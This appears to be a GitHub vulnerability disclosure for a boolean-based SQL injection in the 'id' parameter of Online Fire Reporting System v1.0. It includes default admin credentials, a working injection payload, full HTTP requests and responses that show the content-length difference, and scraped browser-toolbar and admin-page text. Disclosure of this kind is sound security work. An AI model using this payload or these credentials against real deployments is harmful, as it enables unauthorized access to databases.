

main

...

bug_report / vendors / oretnom23 / online-fire-reporting-system / SQLi-7.md



debug601 Create SQLi-7.md

History

1 contributor

35 lines (24 sloc) | 1.49 KB

...

Online Fire Reporting System v1.0 by oretnom23 has SQL injection

The password for the backend login account is: admin/admin123

vendors: <https://www.sourcecodester.com/php/15346/online-fire-reporting-system-phpoop-free-source-code.html>

Vulnerability File: /ofrs/admin/?page=teams/manage_team&id=

Vulnerability location: /ofrs/admin/?page=teams/manage_team&id=, id

Current database name: ofrs_db,length is 7

[+] Payload: /ofrs/admin/?

page=teams/manage_team&id=2%27%20and%20length(database())%20=7--+ // Leak place ---> id

```
GET /ofrs/admin/?page=teams/manage_team&id=2%27%20and%20length(database())%20=7--+ H
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
```

DNT: 1

Cookie: PHPSESSID=qq2e8htekg3g2rkgtbq38p0jnv

Connection: close

When length (database ()) = 6, Content-Length: 30064

```
GET /ofrs/admin/?page=teams/manage_team&id=2%27%20and%20length(database())%20=6--+ HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=qq2e8htekg3g2rkgtbq38p0jnv
Connection: close
```

```
HTTP/1.1 200 OK
Date: Sat, 28 May 2022 08:21:12 GMT
Server: Apache/2.4.48 (win64) OpenSSL/1.1.1k PHP/8.0.7
X-Powered-By: PHP/8.0.7
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Access-Control-Allow-Origin: *
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 30064

<!DOCTYPE html>
<html lang="en" class="" style="height: auto;">
<head>
  <meta charset="utf-8">
```

SQL BASICS< UNION BASED< ERROR/DOUBLE QUERY< TOOLS< WAF BYPASS< ENCODING< HTML< ENCRYPTION< OTHER< XSS< LFI<

Load URL
Split URL
Execute

http://192.168.1.19/ofrs/admin/?page=teams/manage_team&id=2' and length(database()) =6--+

☐ Post data ☐ Referrer ☐ 0xHEX ☐ %URL ☐ BASE64 ☒ Replace

OFRS - PHP

Dashboard
Control Teams
Requests
Maintenance
Daily Report
User List
Contact Info
Settings

Online Fire Reporting System - Admin

New Team Entry

Team Code

TL Name

TL Contact #

Members

When length (database ()) = 7, Content-Length: 30146

```
GET /ofrs/admin/?page=teams/manage_team&id=2%27%20and%20length(database())%20=7--+ HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=qq2e8htekg3g2rkgtbq38p0jnv
Connection: close
```

```
HTTP/1.1 200 OK
Date: Sat, 28 May 2022 08:20:02 GMT
Server: Apache/2.4.48 (win64) OpenSSL/1.1.1k PHP/8.0.7
X-Powered-By: PHP/8.0.7
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Access-Control-Allow-Origin: *
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 30146

<!DOCTYPE html>
<html lang="en" class="" style="height: auto;">
<head>
  <meta charset="utf-8">
```

SQL BASICs* UNION BASED* ERROR/DOUBLE QUERY* TOOLS* WAF BYPASS* ENCODING* HTML* ENCRYPTION* OTHER* XSS* LFI*

Load URL
Split URL
Execute

Post data
Referrer
0xHEX
%URL
BASE64
Insert string to replace
Insert replacing string
Replace All

OFRS - PHP

Online Fire Reporting System - Admin

Dashboard
Control Teams
Requests
Maintenance
Daily Report
Maintenance
User List
Contact Info
Settings

Update Team's Details

Team Code

F-1014

TL Name

Johnny Deep

TL Contact #

09654789123